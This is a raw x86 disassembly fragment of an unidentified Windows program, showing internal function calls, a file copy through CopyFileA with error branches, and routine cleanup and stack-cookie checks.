mov dword [esp + 0x34], esp
push edx
call fcn.00402c40
mov ecx, esi
call fcn.00434210
test eax, eax
jge 0x4278c1
lea ecx, [esp + 0x1e0]
call fcn.004030b0
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x33
mov ecx, str._DRTSN
call fcn.00404720
lea esi, [esp + 0x70]
call fcn.00401900
push eax
mov byte [esp + 0x284], 0x36
call fcn.00401c70
mov byte [esp + 0x27c], 0x37
jmp 0x427a34
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00402c40
mov ebx, dword [esp + 0x38]
lea eax, [esp + 0x250]
mov byte [esp + 0x294], 0x38
call fcn.0042a680
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.004299e0
sub esp, 0x1c
add eax, 0x3c
mov ecx, esp
mov dword [esp + 0xe4], esp
push eax
call fcn.00402c40
mov ecx, edi
mov byte [esp + 0x2b0], 0x2c
call fcn.0040ddc0
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00402c40
push edi
call fcn.0041b890
push 0
mov esi, eax
call fcn.0043cb47
add esp, 4
test esi, esi
jge 0x427996
lea ecx, [esp + 0x1e0]
call fcn.004030b0
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x2d
mov ecx, 0x45cb58
call fcn.00404720
lea esi, [esp + 0x70]
call fcn.00401900
mov byte [esp + 0x280], 0x39
call fcn.004019c0
mov byte [esp + 0x27c], 0x3a
jmp 0x427a34
lea eax, [esp + 0x234]
call fcn.0042a680
push 0
push ecx
mov ecx, dword [eax]
push ecx
mov eax, ebp
call fcn.004299e0
mov ecx, eax
add esp, 4
add ecx, 0x58
call fcn.004030b0
push eax
lea ecx, [esp + 0x1e8]
call fcn.004030b0
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x427a5c
lea eax, [esp + 0x234]
call fcn.0042a680
mov edx, dword [eax]
push edx
mov eax, ebp
call fcn.004299e0
mov ecx, eax
add ecx, 0x58
call fcn.004030b0
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x2a
mov ecx, 0x45cb88
call fcn.00404720
lea esi, [esp + 0x70]
call fcn.00401900
mov byte [esp + 0x280], 0x3b
call fcn.004019c0
mov byte [esp + 0x27c], 0x3c
mov ecx, eax
call fcn.004030b0
push eax
push 1
push edi
call fcn.0041c440
add esp, 0x10
lea ecx, [esp + 0x218]
call fcn.00402c70
lea esi, [esp + 0x4c]
call fcn.00429050
lea esi, [esp + 0x250]
call fcn.00429780
lea ecx, [esp + 0x1e0]
call fcn.00402c70
xor ebx, ebx
lea esi, [esp + 0x234]
call fcn.0042a650
lea ecx, [esp + 0x1fc]
call fcn.00402c70
mov eax, dword [esp + 0x130]
cmp eax, ebx
je 0x427aa2
push eax
call fcn.0043c853
add esp, 4
mov ecx, dword [esp + 0x124]
push ecx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x138], ebx
mov dword [esp + 0x13c], ebx
call fcn.0043c853
add esp, 4
cmp dword [esp + 0x29c], 0x10
jb 0x427ae1
mov edx, dword [esp + 0x288]
push edx
call fcn.0043c853
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x270]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.0043c2d9
add esp, 0x268
ret 0x20